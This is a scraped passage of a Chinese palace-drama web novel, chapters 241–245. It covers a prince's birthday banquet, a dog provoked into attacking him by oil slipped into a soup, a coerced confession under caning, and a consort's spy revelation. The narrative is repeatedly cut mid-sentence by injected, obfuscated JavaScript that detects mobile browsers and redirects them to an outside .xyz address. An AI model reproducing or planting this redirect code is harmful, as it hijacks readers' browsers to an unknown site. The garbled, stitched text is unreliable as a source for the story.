0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518388|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的最大的心愿了。” “他是朕与你的孩子,他这辈子必定是要贵不可言的。”萧祈安没有接过夏韶宁的话,这会儿的语气倒是显得难得的严肃。 夏韶宁瞥了一眼此时的萧祈安,却发现自己在他的脸上看出了一丝有些让人看不懂的神情。 她一时之间倒是不知道萧祈安是什么意思。 “好小子,别吃了,朕带你出去走走!” 两人沉默了好一会儿,萧祈安便伸出手来将六皇子手中的半块苹果拿了下来,扛起他就往殿外走去。 一旁的奶娘吓了一跳,求救似的看了一眼夏韶宁。却见夏韶宁只是笑着对她点了点头,她便立刻会意赶忙跟了上去。 “圣上对六皇子可真好。”惜春看着萧祈安带着六皇子离开的背影,忍不住感叹了一声,“说起来奴婢前段时间遇到了沈婕妤宫里的人,那小宫女偷偷同奴婢说,四皇子和五皇子差不多有半年都没见过圣上了。” “讲来也是怪,圣上那么多孩子,就这两个孩子最不讨他的喜欢。”夏韶宁想到前段时间她去紫宸殿的时候,正好遇见萧祈安在考察三个皇子与两个公主的功课,倒是唯独没有看见四皇子同五皇子。 “四皇子和五皇子身子不好,今年都四岁了圣上还没让他们两个去崇文馆念书呢!”惜春又小声说了一句。 “沈婕妤这么些年也是不容易,拉扯着这两个药罐子一样的孩子,不过好歹也是给她拉扯大了。” 想到上一次在御花园里许昭容一脸趾高气扬地指着沈婕妤的鼻子骂,她也只是一味地跪在地上哭,夏韶宁就不禁感叹人和人的命运真的不一样。 一步走错了,以后步步都是错的。 “含秋一会儿去殿中省说一句,沈婕妤抚养着两个皇子开销大,以后给她宫里的份例和月例银子就按照九嫔的规格来吧。” 夏韶宁顿了会儿,转头对着含秋吩咐了一声,“不必让他们告诉沈婕妤这是我的意思,就当是为我的孩子积福了。” 第241章 周岁宴 七月廿六,是六皇子萧衡昀一周岁的生辰。 汀兰水榭。 “呀,六皇子今日穿的这身衣裳真好看!” 夏韶宁刚抱着六皇子登上了水榭,谢充仪便带着二公主迎了上来。剩下的其他人看见昭贵妃来了,便纷纷上前来同她行起礼来。 “都起来吧,今日是六皇子的生辰宴,各位姐妹肯赏脸来给他过这生辰本宫已经很开心了,都不必如此拘礼。” 夏韶宁对这众人摆了摆手,随后笑眯眯又补了一句,“六皇子这身衣裳可都是丽美人的手艺,别看她年纪不大,女红可真的不错。” 听得贵妃娘娘提到了自己,如今已经七个来月身孕的丽美人便忙红着脸道,“贵妃娘娘和六皇子不嫌弃臣妾手艺差就好了。” “看来朕是来迟了?”众人正在闲聊,便听得身后传来一阵男声,一回头,瞧见的就是萧祈安正满脸带笑地走了过来。 “给陛下请安。”众人忙又是见礼。 “都起来吧。”萧祈安随意地摆了摆手,便走到夏韶宁身边十分自然地将六皇子抱了起来,“你这小子又重了不少啊!” 话音刚落,六皇子便又“咯咯咯”地笑了起来。 他这一笑,倒是惹得在场的众人都笑了起来。 “陛下既然知道自己来迟了,今日可要多喝几杯!”夏韶宁转头对着萧祈安嗔怪了一声,语气却并不让人感到厌烦。 “行,多喝几杯都行,只要今日大家玩得尽兴!”萧祈安大笑一声,随即便直接抱着六皇子坐到上首去了。 本是一个很普通的举动,可是落到了某些有心人的眼里,却觉得刺眼得很。 随着众人坐定,一道道御膳房早就准备好的菜式便被送了上来。 “六皇子今日生辰,朕有个礼物要送给他。”一番歌舞表演结束,萧祈安便出声了。 他话音刚落,便见张全和捧上了一个做工精美的小锦盒,双手交到了萧祈安的手里。 “昭贵妃不如先猜猜是什么?”眼看着众人的目光都集中在了自己手中这个锦盒上,萧祈安忽然就想卖个关子。 这会儿的夏韶宁刚刚喝下一杯苏修仪敬她的酒,脸上泛着红色。再看向萧祈安的时候,眼里似乎就带着一丝浅浅的醉意。 “陛下送的东西,那一定是最好的,臣妾哪儿能猜得到呢?”夏韶宁站起身来,笑着朝萧祈安摇了摇头,“您可别卖关子了,大家也都好奇着呢!” 看着夏韶宁这个样子,萧祈安便也觉得挺有意思的,于是他也就直接将锦盒打开了。 众人探头过去,这才瞧见那锦盒中放着的,居然是一枚小小的印章。 “六弟话都还不会说呢,父皇送他印章做什么?”大公主看着那印章,脸上瞬间露出了一丝嘲讽的神情,“等到他会写字的时候,这印章都旧了。” “这可不是一枚普通的印章,这是朕赐给六皇子的官印!” 众人本还以为圣上会赐什么好东西给他一直宠爱的六皇子,这会儿瞧见不过是一枚普通的印章,便觉得原来最受宠的孩子不过也就那样。 可是下一秒听得萧祈安的这番话,一个个的脸色都变了。 一般的皇子,只有在成年封王以后,才会拥有属于自己的官印。拥有了这枚官印,便代表着他们可以行使属于他们亲王的权利了。 所以这小小的官印可不仅是一枚印章,而是权利的象征。 六皇子如今才刚满周岁,圣上便直接赐给他了这么贵重的礼物。这也就代表着,六皇子以后哪怕再差,也能封个亲王了。 “圣上这礼物,是不是太过贵重了点儿?”眼见着萧祈安将这枚官印交到了夏韶宁的手里,带着大皇子坐在一旁的唐贤妃气得嘴都要歪了。 “大皇子今年都六岁了,也没见您送他如此贵重的礼物啊。一个不过周岁的娃娃,这么贵重的礼物,他受得起吗?” “贤妃这话说得可真是令人诛心啊。怎么,本宫的孩子过生辰,他的父皇送他一件礼物,你也要在这阴阳怪气吗?” 夏韶宁这会儿已经喝了不少酒了,其实已经有些醉了,但是她的脑子却还是很清醒的。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522285|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是她一听到唐贤妃这番阴阳怪气的话,就从心里觉得气不打一出来,非要出声怼她一句不可。 “行了,这礼物朕就是送了,你们有何不满也在心里憋着,别在六皇子的生辰宴上找不痛快!” 最后到底是萧祈安冷着脸瞥了唐贤妃一眼,她这才不敢继续出声了。 其他人见状,本来还有些想说的话,也就只能憋在心里不敢说了。 圣上开了送礼这个头,余下的其他人不管是真心还是假意,为着面子,也都纷纷送上了自己准备的礼物。 虽然有刚刚唐贤妃的那般插曲,但是眼见着六皇子坐在堆满的礼物里头笑得牙不见眼,夏韶宁还是觉得很幸福。 她的孩子,就是要拥有全世界最好的东西才对啊! 众人的礼物都送得差不多了,最后才到了坐在最末尾的何御女。 因着之前她父亲的事情,萧祈安秉承着“罪不累及出嫁女”的原则,并没有惩罚她。只是将她的位份由原来的才人连降两级,降到了目前后宫里最低的御女位份。 身边只留了一个贴身的宫女和几个洒扫的嬷嬷,月例也少得可怜。 如今见她坐在座位上一副坐立难安的样子,坐在她身边的林宝林也忍不住开始对着她嘲笑起来。 “何御女从前在宫里出手不是最阔绰的吗?我记得从前你身边的贴身宫女都是能戴首饰的啊!怎么,这会儿大家都给六皇子送了生辰礼了,你不会是……什么都没准备吧?” 这番话说完,在场的众人便都忍不住发出了低低的笑声。 “无妨无妨,小孩子家过生辰而已,不用太刻意。”眼见着何御女的脸越来越红,本着不想把昀儿的生辰宴搞得太难看的原则,夏韶宁忙开口打起圆场来。 “谁说我没准备礼物,我准备了!” 而就在众人以为这件事情就这么过去了,何御女却忽然“腾”的一声从椅子上站了起来。 “臣妾听闻六皇子喜欢小动物,这才花了高价托人从宫外带了一只哈巴狗进来,特意送给六皇子当宠物玩儿!” 第242章 恶犬 说话间,便见何御女身边的贴身宫女抱了一只**色雪白的哈巴狗走了上来。 那狗这会儿正乖乖地卧在宫女的怀里,好奇地左顾右盼着。 “哎呀,这只小狗可真可爱!” 这个世界上大概没有哪个小孩子能拒绝得了如此可爱的小动物,这只小狗一出现,除了一脸不屑的大公主与被唐贤妃死死拉住的大皇子,剩下的皇子公主们纷纷都**到了那个抱着小狗的宫女面前。 就连如今还不会说话也不会走路的六皇子,也在奶娘的手里兴奋地“啊啊”着。 夏韶宁抬头看了一眼那只狗,瞧见倒是没什么问题,于是便对着这会儿仍站着的何御女笑着道,“你有心了。” “臣妾见着六皇子好像很喜欢这小狗呢,娘娘将六皇子抱在怀里让他逗逗这小狗?有娘娘抱着,也不用担心这小狗会伤着六皇子了。” 看着奶娘怀里的六皇子这会儿一直不安分地想要下地去和小狗玩,何御女便抬头对着夏韶宁提醒道。 夏韶宁抬眼过去,果真看见六皇子就快要抓住这狗的尾巴了。想到自己宫里那只被六皇子逼得说“不要”的鹦鹉,夏韶宁有些无奈地笑了。 这么大点的孩子,真是猫狗都嫌的年纪。 “奶娘,把六皇子抱过来吧,本宫抱着他看小狗,一会儿别叫他被狗咬了。” 夏韶宁对着六皇子的方向伸了伸手,六皇子便立刻张着双手兴高采烈地朝着她扑了过来。 而就在六皇子刚刚坐到了夏韶宁怀里的时候,那宫女忽然将手松了开来。那只哈巴狗没了束缚,仿佛受到了什么指使一般猛地跳上了夏韶宁面前的桌子! 只见它先是趴在夏韶宁面前的案几上闻了闻,还没等在场的众人反应过来,忽然就龇牙咧嘴般直直地朝着夏韶宁与她怀里的六皇子扑了过去! “弟弟……弟弟小心!” 眼前的一幕发生的太快,所有人都惊呆了。就在那只狗马上就要咬到六皇子的时候,站在离六皇子最近的四皇子,忽然一把就扑到了六皇子的身上! 他用他那小小的后背,挡住了那只发了狂的疯狗! 那只狗扑到了四皇子的后背上,锋利的爪子瞬间就将他后背上的衣服给扯烂了。可是这会儿的他却仍旧死死地保护着怀里的六皇子,不肯离开一步! “康儿!康儿!”沈婕妤根本没想过自己那只有四岁的儿子居然下意识地会去保护六皇子,眼见着那只狗仍旧扑在他的后背上,这会儿的沈婕妤便疯了一般想要上去将自己的儿子救下来,只是被自己的贴身宫女死死拉住了。 “你们还愣着做什么?还不赶快去把这只疯狗给打死!” 这会儿的萧祈安终于回过了神来,他站起身来对着守在水榭外头的侍卫们大喊了一声,侍卫们便立刻冲了进来将那只趴在四皇子身上的哈巴狗捉了下来,直接一刀给刺**! 混乱的场面这才渐渐平息了下来。 “哈哈哈哈哈,难怪人人都说你夏韶宁命好!我如此费尽心机还是伤不了你一根毫毛,我恨啊!我真恨啊!” 这会儿的何御女,依旧端端正正站在原地,只是整个人已经有些疯癫了。 虽然夏韶宁的胆子不小,可是刚刚发生的事情还是将她吓坏了。眼见着怀里一直哭闹不止的六皇子和吓得脸色苍白的四皇子,夏韶宁恨得后槽牙都快咬碎了。 她将六皇子交给奶娘,示意奶娘将他先带回承乾宫。又将四皇子送回到了已经哭得满脸是泪的沈婕妤怀里,这才一步一步走到了满脸恨意的何御女面前。 “你趁着六皇子的生辰,特意送了他一只发了病的疯狗,妄想让这疯狗咬伤甚至咬死六皇子。你这女人可真狠啊,这是专门逮着本宫的心窝子戳啊!” 夏韶宁死死盯着何御女的眼睛,说话的语气里还带着一丝颤抖。他真的不敢想如果今日没有四皇子那般死命护着昀儿,他的昀儿如今会是什么样的下场。 “我狠?我再狠有你狠吗?我再狠,有圣上狠吗?”听得夏韶宁这一声接一声的质问,何御女居然笑了。 “你的父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522286|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄恬不知耻地踩着我何家全家的性命往上爬,不知道午夜梦回,会不会被吓醒啊?” 何御女这话一出口,夏韶宁和萧祈安都明白了,她这是因为之前的舞弊案,要给自己的母家报仇了。 “你这疯女人,到底在说什么胡话?”萧祈安板着脸,三两步就走到了何御女的面前。 “你父亲****,数量巨大到令人咋舌!这一桩桩一件件全都是证据确凿的事情,你怎能将这些仇恨全都算在昭贵妃和六皇子的身上?” “她和她的母家、她的儿子,全都是既得利益者!我凭什么不能把这笔账算在她头上?” 听得萧祈安又提起了她最不想要面对的事情,何御女彻底发疯了。 她伸出手来死命扯着自己那张因为仇恨已经变了形的脸,快步走到萧祈安与夏韶宁的面前,大喊道,“我没有家了!我全家人都被你们害**!你们都该死!你们全都该死啊!!” “张全和,把这疯女人押下去,待这件事情查清楚以后再行处理!” 此时的萧祈安已经不想同眼前的这个疯女人浪费口舌了,他闭着眼睛转过身来对着张全和摆了摆手,张全和便立刻让身边的内**何御女给拖了下去。 只是哪怕她已经被拖得很远了,在场的众人还是能听到她那撕心裂肺的哭喊声—— “夏韶宁!你害我全家!你不得好死!!” 水榭中终于安静了下来。 “四皇子与六皇子今日都受委屈了。”萧祈安按了按有些疲惫的头,转头走到了仍被沈婕妤紧紧抱在怀里的四皇子身边。 “你是个好孩子,明日带着五皇子跟着哥哥姐姐们一道去崇文馆上课吧。” 他转过头来想了一会儿,便对着张全和吩咐道—— “张全和,传朕旨意,沈婕妤教子有方,即日起晋位为充媛。” 说完这番话,他又将目光重新投到了沈充媛身上。 “你总算没有辜负朕早年间对你的嘱咐,两个孩子被你教得很好,这些赏赐也是你应得的。” 第243章 动了手脚 一场好好的周岁宴就这样弄得不欢而散。 “昀儿怕是吓着了,你回去好好哄哄他。朕前头还有些事儿,忙完了再去看你们母子。” 萧祈安转过头对着夏韶宁嘱咐了一声,随即便面无表情地离开了。 只留下了夏韶宁以及满屋子面面相觑的女人和孩子们。 夏韶宁有些疲惫地按了按额头,继而略带歉意地对着在场的众人道,“本来是想借着六皇子的周岁宴邀请各位姐妹来热闹一番的,谁知道发生了这么恶心的一件事,倒是本宫对不住各位了。” 夏韶宁话音刚落,便见着苏修仪皱着眉头拉了拉二皇子的手,随即看了一眼同样紧紧拉着二公主手的谢充仪。 见谢充仪对着自己点了点头,苏修仪这才上前一步对着夏韶宁道,“贵妃娘娘快别说这种话了,您还是快回宫去看看六皇子吧,这里有臣妾同谢充仪帮您善后,您就放心吧!” 听得苏修仪的话,夏韶宁便感激地对着她点了点头。她虽然很着急回宫去看六皇子,只是路过沈充媛与四皇子身边的时候,她还是刻意放慢了脚步。 “四皇子怕是也吓得不轻,你快些带他回宫休息吧。本宫的库房里有一支去年圣上赏下的百年人参,一会儿本宫让人送到你那儿去,你好好给四皇子补一补。” 沈充媛这会儿已经不哭了,只是一味地抱着四皇子眼神空洞地看着前方。听得夏韶宁的话,她也只是有些木讷的点了点头,甚至连谢恩的话都忘了说。 承乾宫。 夏韶宁紧赶慢赶赶回宫的时候,六皇子早就已经不哭了。这会儿子正坐在地毯上,津津有味地看着李顺给他“变戏法”。 “六皇子您瞧,这儿是不是有朵花儿?奴才把它往天上一抛……诶,花儿是不是不见了?” 李顺的年纪在承乾宫的宫人里是最小的,平日里说起话来也带着些幽默。六皇子看着他手里的花儿一下子就不见了,更是被他逗得“咯咯咯”地笑个不停。 “你倒是和个孩子王似的,难得六皇子喜欢你。”夏韶宁脱了鞋子踩上了地毯,一把就将六皇子抱到了身上。 “娘娘谬赞了,六皇子不嫌弃奴才笨手笨脚就很好了。”李顺不好意思地挠了挠头。 “娘娘回来了。”众人眼见着夏韶宁回来,便又忙起身给她行礼。 “昀儿回来是不是哭了很久?”夏韶宁一边说,一边仔仔细细地将六皇子全身上下都检查了一遍,眼见着他是真的一点儿伤都没受,这才放下心来。 “没呢,刚刚奶娘抱回来的时候是哭了一会儿,后来李顺拿了些小玩意儿哄着六皇子,他就不哭了。”蕙心道。 “幸好今日昀儿同四皇子都没事儿,若是他们哪个受了一点伤,本宫非要扒了那何清影的一层皮不可!” 想到刚刚那只疯狗恶狠狠地同自己对视的样子,夏韶宁仍旧心有余悸。 “说起来也是奇怪呢,刚刚在宴会上奴婢明明瞧着,那只狗刚被抱上来的时候都还是乖得很的样子。为何它爬到娘娘桌前四处闻了闻,好端端的就发疯了呢?” 为了早日将惜春与含秋锻炼出来,今日的宴会夏韶宁特意让两人在她身边服侍。所以刚刚发生的那些事儿,一向最是细心不过的惜春可看得明明白白。 说实话,这件事情发生的很突然,所以夏韶宁一直也没有往深层次去思考。她从事情发生以后就认定了是那何御女故意抓了一只疯狗来想要害自己与六皇子。 可是惜春的这番话却适时地提醒了她,也许这场风波的背后,并不是她想的那样简单。 “李顺。”顿了好一会儿,夏韶宁这才急忙回过神来喊了一句李顺,“你腿脚快,现在就去汀兰水榭同苏修仪说一声,本宫刚刚坐的那个地方,桌子上所有东西都不许动!” 夏韶宁说这话的声音很大,语气也很急,站在一旁的李顺很显然也被她给吓着了。 不过李顺这人向来机灵,眼见着娘娘如此着急,便明白这件事情应当对娘娘来说很重要。于是他急忙对着夏韶宁点 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“回贵妃娘娘的话,臣妾刚准备吩咐宫人收拾的时候,李顺便带了您的话来,所以臣妾便没再叫人动过这张桌子上的东西了。” 苏修仪并不明白贵妃娘娘好端端的为何对这张桌子上的东西如此紧张。她只是想着娘娘既然吩咐了,她照着做总是不会错的。 “那就好。”听得苏修仪的话,夏韶宁这才放心的点了点头。 她顿了一会儿,随即便转身对着辛夷与张川柏道,“你们两个帮着本宫仔细检查一下,这张桌子上的所有东西,包括点心、水果、汤饮等等,这里头有没有什么不应该出现的东西?” 夏韶宁说这话时用的虽然是询问的口吻,但是她的语气里却透露着一丝肯定。 是的,经过对刚才发生的事情认真思考了一番以后,夏韶宁有合理的理由怀疑……有人在她面前的东西里,动了手脚! 第244章 诈一诈 听得夏韶宁的语气如此严肃,辛夷与张川柏对视了一眼,也明白这件事情应当对贵妃娘娘很重要。 于是两人便走上前去,分工明确地开始对着那张桌子上的东西一样一样检查起来。 因为两人都十分谨慎,所以这番检查便耗费了不少时间。只是在场的所有人都没有出声去催促她们,只希望两人能检查得仔细再仔细一些。 时间一分一秒的过去,也不知道过了多久,张川柏端起了桌上的一盅鸡汤闻了闻,又伸出指头蘸了点汤尝了一下,脸色瞬间就变了。 “贵妃娘娘,微臣查清楚了。”在与辛夷再三确认以后,张川柏这才端着那盅汤快步走到了夏韶宁的身边。 “这盅鸡汤里头被人放了剂量不低的茶树油,人食用了是不会对身体造成任何影响的,但是狗闻到茶树油的味道会引起它暂时性的行为异常。比如说是无故袭击人,或者是莫名的吠叫等。” 张川柏此话一出,所有的问题也就迎刃而解了。 “所以说,那何御女送的狗其实是没有问题的。那狗是闻到了贵妃娘娘面前那盅鸡汤里头茶树油的味道,才会无端发疯袭击六皇子的?” 这会儿连一向脑子不甚灵光的谢充仪,都明白了这件事情的来龙去脉。 “好得很啊!看来这后宫里头恨本宫的,倒是不止她何清影一人。” 听得张川柏的话,夏韶宁忍不住冷笑了一声,说话的语气是从未有过的冷冽。 “李顺,你去把今日接触过本宫面前这盅鸡汤的宫女内侍全都叫到承乾宫去。早些年本宫还在潜邸的时候就差点吃过这个亏,如今居然还有人想要用这同样的方法害本宫的孩子!” “本宫倒是要看看,到底是谁有如此大的胆子,胆敢害到本宫和六皇子的头上!” *** 承乾宫。 夏韶宁面无表情地坐在廊下的椅子上,她的面前站着几十个今日经手过那盅被下了茶树油鸡汤的宫女和内侍。 “李顺应该已经告诉你们本宫今日为何会将你们叫来承乾宫了。” 夏韶宁瞥了一眼站在她面前的那群人,说话的语气是从未有过的严厉。 “贵妃娘娘,奴才只是将那盅鸡汤放到笼屉里蒸了,并不知道那里头被人下了什么东西啊!” “昭贵妃娘娘明鉴啊!奴婢将那鸡汤从御膳房端到汀兰水榭的路上连那炖盅的盖子都碰过,奴婢什么都不知道啊!” “奴婢也是,奴婢也是……” 一时之间,那群宫女内侍们纷纷争相在夏韶宁面前喊起冤来,生怕自己慢了一秒,就又会被贵妃娘娘送到永巷那般暗无天日的地方去做苦役。 “都闭嘴!”眼见着这会儿的承乾宫闹腾得和菜市场一样,站在夏韶宁身旁的李顺立刻板起脸来大喝一声,“找你们来之前我就同你们说了,见了贵妃娘娘一个一个慢慢说!咱们娘娘处事最是公平公正的,绝对不会冤枉一个好人,也不会放过一个恶人!你们这般乱喊乱叫,让娘娘听谁的呢?!” 李顺的声音很大,这一嗓子一下子就把眼前这群乱糟糟的人给唬住了。这会儿便也只敢统统低着头,不敢乱说一句话了。 夏韶宁给了李顺一个赞赏的眼神,这才清了清喉咙缓缓开口了。 “李顺刚刚的话,你们也听到了。本宫判案,从来就讲究证据。” “你们之间肯定是有人对本宫面前那盅鸡汤动过手脚的,只是你们之中大部分只知道有人往那鸡汤里加了东西,但是只有动手脚的那个人知道这加的东西到底是什么。” 说到这里,夏韶宁忽然从椅子上站了起来。 “你们今日忙着六皇子的周岁宴,忙完以后就被李顺带到了本宫这里,想来是没有时间回自己的屋子里换衣裳的。” “而那么巧,那个人往本宫的鸡汤里放的就是茶树油这种沾上一点儿就会有味道的东西。所以……” 夏韶宁一边说,一边已经缓步走到了众人的面前。 “所以就烦请各位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526488|168161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将双手张开,让蕙心和李顺一个个检查一下各位的衣裳,再闻一闻各位身上的味道,看看到底是谁……身上有茶树油的味道!” 夏韶宁这话说得斩钉截铁,一番话落,便已经有宫女和内侍立马将双手抬了起来。 “李顺公公快来检查奴才,奴才身上什么味道都没有!” “求蕙心姐姐先检查奴婢,好在贵妃姐姐面前早些还奴婢清白!” …… 李顺和蕙心对视一眼,便快步走到人群中开始检查起来。 而夏韶宁便又重新坐回了廊下的椅子上,一双眼睛不住地往下首那群人的身上瞟。 因为人人都想早些洗刷自己的嫌疑,所以对于李顺与蕙心的检查都十分配合。检查到了最后,也就只剩下了一个身材矮小的宫女。 其实从一开始的时候夏韶宁就注意到她了,明明她站在第二排的位置很快就会被蕙心检查到,只是她却总是趁着周围人不注意偷偷往后头挪。 挪到最后,只剩下她一个人孤零零地站在空旷的院子一侧,显得十分的刺眼。 “你躲什么呢?”夏韶宁站起身来走到了那个宫女身边,却瞧见她仍旧想方设法地往旁边躲,反正就是不肯好好地站在夏韶宁的面前。 “呵呵,也难怪了,人在极度害怕的情况下是会失去所有理智的。你哪怕自己低头闻一闻自己身上,也该闻到,你身上什么味道都没有。” 说到这里,夏韶宁忽然笑了起来。 “你用你的脑子想一想也知道,你不过是偷偷打开了御膳房盛放茶树油的罐子,挑了一勺子茶树油放到鸡汤里,你身上怎么可能会有茶树油的味道!本宫就是故意说这些话想着来诈一诈你们,没想到还真叫本宫给诈出来了!” 夏韶宁顿了顿,随即忽然伸出手来直直地就掐住了那个宫女的下巴。 “说!你到底是受了谁的指使故意往本宫的鸡汤里放了能让狗兴奋发疯的茶树油,妄想让那只狗咬伤六皇子,快说!” 第245章 棋子 那小宫女就这样被夏韶宁捏着下巴,眼睛里满满的全都是恐惧。 “贵妃娘娘,奴婢不知道您在说什么……奴婢只是今日身子有些不适,不是……” “你是不见棺材不落泪是吧?”这会儿的夏韶宁,已经没了耐心继续同这宫女在这周旋。 她用力将那宫女的下巴松开,转头就对着李顺吩咐道,“去抬张条凳来,找两个力气大的内侍,把她押在条凳上打她十杖!十杖若是不说,那就再加十杖!什么时候她肯张嘴说实话,什么时候才许停手不打!” 夏韶宁说这话的时候后槽牙咬得咯咯响,心里那是真的恨啊! 这个人很明显就是冲着昀儿来的,她只要一日不将这个幕后黑手揪出来,昀儿就一日要生活在危险中。 她夏韶宁绝对不会允许这种事情发生,绝不! 得了夏韶宁的吩咐,李顺半句废话都没有,转头就去找人去了。 那宫女一开始只是跪在地上不住地哭泣着,但是仍旧不肯开口说出幕后指使者是谁。 可是当她真的被承乾宫的内侍押到条凳上,几杖狠狠地打下去以后,她的心理防线这才彻底崩塌了。 “贵妃娘娘!贵妃娘娘饶命啊,求您让他们别打了!奴婢说!奴婢什么都说!” 那宫女一边哭一边大声叫喊着,那凄厉的声音在如今针落可闻的承乾宫里显得特别可怕。 “住手!”见那宫女松了口,夏韶宁便急忙抬起手示意行刑的内侍停手。 她走到如今已经被打得半死不活的宫女面前,蹲下身子死死盯着她道,“你听好了,别想跟本宫耍花样!本宫今日只给你一个机会,如果你敢乱说话,你今日怕是不能活着离开这承乾宫了。” “奴婢不敢!奴婢不敢!”那宫女这会儿早就已经被吓破了胆,说话的声音里都透着满满的恐惧。 “许婕妤身边的玉兰和奴婢是同乡,是她前几日找到奴婢,给了奴婢一笔钱让奴婢往您的鸡汤里放了一勺茶树油!她当时只是说让奴婢按照她说的话做就是了,并没有说放这勺子油是要做什么!” “奴婢当时想着茶树油又不是**,不会闹出人命,这才鬼迷心窍听了她的话!若是奴婢知道这油会让狗发狂差点害了六皇子,给奴婢一百个胆子奴婢也不敢做这事儿啊!” “许婕妤?”听得这宫女的话,夏韶宁瞬间就反应过来了。 之前辽州科举舞弊案,除了何御女,曾经身为昭容的许婕妤也是被处罚的一个。 萧祈安办事从来一视同仁,何御女被降了位份,许昭容也同样逃不过。 事情发生了以后,萧祈安直接将她从一宫主位的昭容降位成了九嫔以下的婕妤,伺候的人手以及月俸全部减半,甚至连住处都从延禧宫的主殿披香殿,搬到了侧殿浮光楼。 她恨夏韶宁,倒是也说得通了。 “惜春,你去一趟紫宸殿,看看圣上忙完了没有。若是忙完了,就请他来一趟承乾宫,就说之前六皇子被疯狗袭击的事情,本宫查得有些眉目了。” “含秋,你去一趟浮光楼,请许婕妤来一趟承乾宫,就说本宫有事请她来说说话。” 惜春和含秋听完夏韶宁的吩咐,即刻分头去了。 …… 萧祈安手中的事情其实并没有忙完,只是听得惜春禀报说六皇子遇袭的时候有眉目了,他便立刻放下手中的事情往承乾宫去了。 他赶到承乾宫的时候,夏韶宁正面无表情地坐在廊下的椅子上。面前的条凳上趴着一个已经被打得没了半条命的宫女,旁边站着满脸惨白的许婕妤。 “怎么回事儿?”萧祈安瞥了一眼许婕妤,也没同她说话,只是径直就走到了夏韶宁的身边。 “回陛下,臣妾已经将整件事情查清楚了。” 夏韶宁站起身来,端端正正对着萧祈安行了一礼,这才缓缓开口了。 “是许婕妤派她的贴身宫女玉兰,买通了玉兰在御膳房的一个同乡,让她在臣妾的鸡汤了加入了能让狗闻了就发狂的茶树油,这才导致何御女送的那只哈巴狗忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧祈安看着眼前那个做了坏事虽然已经败露,但是面上却满满都是不屑的许婕妤,这会儿的眉头皱得仿佛能夹死一只苍蝇。 “我若是告诉你,我并不是下州刺史许海道的嫡女许清妍,而且废太子多年前就安插在你身边的一枚棋子,你会不会觉得这些年的自己,实在是愚蠢的可笑?” !!! 许婕妤这话说完,在场的所有人都惊呆了。 这句话的信息量实在是太大了,大到夏韶宁这种一直以来思维跨度都很大的人,一时半会都无法接受。 很显然,面前的萧祈安听完这番话,他的反应比夏韶宁要大得多。 几乎是在许婕妤说完这番话以后,萧祈安立刻从身边的侍卫身上拔出了一把剑,直直地就架在了许婕妤的脖子上! “朕给你最后一个机会,把你知道的事情一个字一个字老老实实给朕吐出来!若是你还要在朕的面前耍滑头,朕不介意直接在这里就要了你的命!” 萧祈安死死地看着许婕妤,咬着牙一字一句地说道。 “陛下赶快把您手里的剑稍稍吧,您今日在这承乾宫杀了我,您信不信明日宫里就会有传言说昭贵妃蛊惑帝心,怂恿帝王滥杀无辜宫妃?” “您那么喜欢昭贵妃,那么看重六皇子,您也不想她们母子俩从今以后都要背负着这样一个莫须有的骂名吧!” 谁承想眼前的许婕妤看着萧祈安这副气急败坏的样子,面上却没有一丝害怕的模样。 她只是直直地站在萧祈安的面前,冷冷地看着他。 “你到底想怎么样?!”眼见着萧祈安已经被许婕妤气得一句完整的话都说不出了,此时的夏韶宁便走到她的面前,满脸不解地看着许婕妤。 “我的要求很简单,给我准备一大笔钱,一辆马车,将我安安稳稳地送出金州城。只要你们答应我的条件,我就把我知道的所有事情都告诉你们。” “你休想……” “本宫答应你!” 许婕妤的话刚说出口,气急败坏的萧祈安下意识想要拒绝。谁知道他拒绝的话还没说出口,眼前的夏韶宁却忽然死死拉住了他的手,随即居然答应了下来。 萧祈安满脸疑惑地看着面前的夏韶宁,谁知道夏韶宁什么话都没有同他说,只是给了他一个坚定的眼神。 “你们别想诓我,我要先看到我要的东西,我才会说!” 